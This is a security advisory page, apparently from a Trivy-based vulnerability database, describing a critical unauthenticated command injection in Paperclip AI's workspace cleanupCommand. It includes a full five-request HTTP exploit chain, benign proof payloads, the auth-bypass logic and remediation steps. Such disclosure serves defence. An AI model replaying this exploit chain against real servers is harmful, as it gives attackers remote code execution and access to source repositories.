Zafiyetler / GHSA-vr7g-88fq-vhq3

kritik

GHSA-vr7g-88fq-vhq3

Paperclip: OS Command Injection via Execution Workspace cleanupCommand

Yayın Değişiklik
En geç 24 Eki 2026, 07:11 UTC tarihinden beri Trivy database'indeO derlemeden önce ne zaman girdiği kayıtlı değil.

Kaynağa göre önem derecesi

GHSA9.8CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Trivy'nin kendi etiketi CRITICAL. Kritik diyenler: GHSA.

Açıklama

| Field | Value | |-------|-------| | **Affected Software** | Paperclip AI v2026.403.0 | | **Affected Component** | Execution Workspace lifecycle (`workspace-runtime.ts`) | | **Affected Endpoint** | `PATCH /api/execution-workspaces/:id` | | **Deployment Modes** | All — `local_trusted` (zero auth), `authenticated` (any company user) | | **Platforms** | Linux, macOS, Windows (with Git installed) | | **Date** | 2026-04-13 | --- ## Executive Summary A critical OS command injection vulnerability exists in Paperclip's execution workspace lifecycle. An attacker can inject arbitrary shell commands into the `cleanupCommand` field via the `PATCH /api/execution-workspaces/:id` endpoint. When the workspace is archived, the server executes this command verbatim via `child_process.spawn(shell, ["-c", cleanupCommand])` with no input validation or sanitization. In `local_trusted` mode (the default for desktop installations), this requires zero authentication. Three independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (`systeminfo`), and GUI application launch (`calc.exe`). --- ## Root Cause Analysis ### Vulnerable Code Path **`server/src/services/workspace-runtime.ts` (line ~738)** The `cleanupExecutionWorkspaceArtifacts()` function iterates over cleanup commands from workspace config and executes each via shell: ```typescript // workspace-runtime.ts — cleanupExecutionWorkspaceArtifacts() for (const command of cleanupCommands) { await recordWorkspaceCommandOperation(ws, command, ...); } // recordWorkspaceCommandOperation() → const shell = resolveShell(); // process.env.SHELL || "sh" spawn(shell, ["-c", command]); ``` ### Missing Input Validation **`server/src/routes/execution-workspaces.ts` — PATCH handler** The PATCH endpoint accepts a `config` object containing `cleanupCommand` with no validation: ``` PATCH /api/execution-workspaces/:id Body: { "config": { "cleanupCommand": "<ARBITRARY_COMMAND>" } } ``` The `cleanupCommand` value is stored directly in workspace metadata and later passed to `spawn()` without sanitization, allowlisting, or escaping. ### Shell Resolution **`resolveShell()`** returns `process.env.SHELL` or falls back to `"sh"`: - **Linux/macOS**: `/bin/sh` exists natively — commands execute immediately - **Windows**: `sh.exe` is available via Git for Windows (`C:\Program Files\Git\bin\sh.exe`) — Paperclip requires Git, so `sh` is present on most installations --- ## Attack Chain The exploit requires 5 HTTP requests with zero authentication in `local_trusted` mode: ### Step 1 — Find a Company ```http GET /api/companies HTTP/1.1 Host: 127.0.0.1:3100 ``` ```json [{"id": "59e9248b-...", "name": "Hello", ...}] ``` ### Step 2 — Find an Execution Workspace ```http GET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1 Host: 127.0.0.1:3100 ``` ```json [{"id": "da078b2d-...", "name": "HEL-1", "status": "active", ...}] ``` ### Step 3 — Reactivate Workspace (if archived/failed) ```http PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1 Host: 127.0.0.1:3100 Content-Type: application/json {"status": "active"} ``` ### Step 4 — Inject cleanupCommand (Command Injection) ```http PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1 Host: 127.0.0.1:3100 Content-Type: application/json {"config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}} ``` Response confirms storage: ```json {"id": "da078b2d-...", "config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}, ...} ``` ### Step 5 — Trigger RCE (Archive Workspace) ```http PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1 Host: 127.0.0.1:3100 Content-Type: application/json {"status": "archived"} ``` This triggers `cleanupExecutionWorkspaceArtifacts()` which calls: ``` spawn(shell, ["-c", "echo RCE_PROOF > \"/tmp/rce-proof.txt\""]) ``` The injected command is executed with the privileges of the Paperclip server process. --- ## Authentication Bypass by Deployment Mode ### `local_trusted` Mode (Default Desktop Install) Every HTTP request is auto-granted full admin privileges with zero authentication: ```typescript // middleware/auth.ts req.actor = { type: "board", userId: "local-board", isInstanceAdmin: true, source: "local_implicit" }; ``` The `boardMutationGuard` middleware is also bypassed: ```typescript // middleware/board-mutation-guard.ts (line 55) if (req.actor.source === "local_implicit" || req.actor.source === "board_key") { next(); return; } ``` ### `authenticated` Mode Any user with company access can exploit this vulnerability. The `assertCompanyAccess` check occurs AFTER the database query (BOLA/IDOR pattern), and no additional authorization is required to modify workspace config fields. --- ## Proof of Concept — 3 Independent RCE Proofs (Windows 11) All proofs executed via the automated PoC script `poc_paperclip_rce.py`. ### Proof 1: Arbitrary File Write **Payload:** `echo RCE_PROOF_595c04f7 > "%TEMP%\rce-proof-595c04f7.txt"` **Result:** ``` +================================================+ | VULNERABLE - Arbitrary Code Execution! | | cleanupCommand was executed on the server | +================================================+ Proof file: %TEMP%\rce-proof-595c04f7.txt Content: RCE_PROOF_595c04f7 Platform: Windows 11 ``` ### Proof 2: System Command Execution (Data Exfiltration) **Payload:** `systeminfo > "%TEMP%\rce-sysinfo-595c04f7.txt"` **Result:** ``` +================================================+ | System command output captured! | +================================================+ Host Name: [REDACTED] OS Name: Microsoft Windows 11 Home OS Version: 10.0.26200 N/A Build 26200 OS Manufacturer: Microsoft Corporation Registered Owner: [REDACTED] Product ID: [REDACTED] System Manufacturer: [REDACTED] System Model: [REDACTED] System Type: x64-based PC ... (72 total lines of system information) ``` ### Proof 3: GUI Application Launch (calc.exe) **Payload:** `calc.exe` **Result:** ``` +================================================+ | calc.exe launched! Check your taskbar. | | This is server-side code execution. | +================================================+ ``` Windows Calculator was launched on the host system by the Paperclip server process. --- ## Impact Assessment | Impact | Description | |--------|-------------| | **Remote Code Execution** | Arbitrary commands execute as the Paperclip server process | | **Data Exfiltration** | Full system info, environment variables, files readable by server process | | **Lateral Movement** | Attacker can install tools, pivot to internal network | | **Supply Chain** | Workspaces contain source code — attacker can inject backdoors into repositories | | **Persistence** | Attacker can create scheduled tasks, install reverse shells | | **Privilege Escalation** | Server may run with elevated privileges; attacker inherits them | ### Attack Scenarios 1. **Desktop user (local_trusted)**: Any process or malicious web page making local HTTP requests to `127.0.0.1:3100` can achieve RCE with zero authentication 2. **Team deployment (authenticated)**: Any employee with Paperclip access can compromise the server and all repositories managed by it 3. **Chained attack**: Combine with SSRF or DNS rebinding to attack Paperclip instances from the network --- ## Remediation Recommendations ### Immediate (Critical) 1. **Input validation**: Reject or sanitize `cleanupCommand` and `teardownCommand` fields in the PATCH handler. Do not allow user-supplied values to be passed to shell execution. 2. **Command allowlisting**: If custom cleanup commands are needed, implement a strict allowlist of permitted commands (e.g., `git clean`, `rm -rf <workspace_dir>`). 3. **Use `execFile` instead of `spawn` with shell**: Replace `spawn(shell, ["-c", command])` with `execFile()` using an argument array, which prevents shell metacharacter injection. ### Short-term 4. **Authorization check**: Add proper authorization checks BEFORE processing the PATCH request. Validate that the user has explicit permission to modify workspace configuration. 5. **Separate config fields**: Do not allow the same endpoint to update both workspace status and security-sensitive configuration fields like commands. ### Long-term 6. **Sandboxed execution**: Run cleanup commands in a sandboxed environment (container, VM) with minimal privileges. 7. **Audit logging**: Log all modifications to command fields for forensic analysis. 8. **Security review**: Audit all `spawn`, `exec`, and `execFile` calls across the codebase for similar injection patterns. --- ## Proof of Concept Script ## Script [poc_paperclip_rce.py](https://github.com/user-attachments/files/26697937/poc_paperclip_rce.py) The full automated PoC is available as `poc_paperclip_rce.py`. It: - Auto-detects deployment mode and skips auth for `local_trusted` - Discovers company and workspace automatically - Reactivates failed/archived workspaces - On Windows, auto-locates `sh.exe` from Git and restarts Paperclip if needed - Runs 3 independent RCE proofs: file write, systeminfo, calc.exe - Works on Linux, macOS, and Windows **Usage:** ```bash python poc_paperclip_rce.py --target http://127.0.0.1:3100 ```

Etkilenen paketler ve düzeltilmiş sürümler

KaynakPaketDüzeltildiği sürüm
npm::GitHub Security Advisory npm@paperclipai/server2026.416.0

Referanslar

Vulnerability data compiled from the Trivy vulnerability database (trivy-db, Aqua Security, Apache License 2.0), which aggregates third-party advisories. CVE records are published by The MITRE Corporation under the CVE Terms of Use; CVE is a trademark of MITRE. This product uses data from the NVD API but is not endorsed or certified by the NVD. Severity, titles and advisory data from the GitHub Advisory Database (CC BY 4.0), Red Hat security data (CC BY 4.0) and the other sources linked on each entry. Entries may be summarised or re-formatted; the linked original is the authoritative record.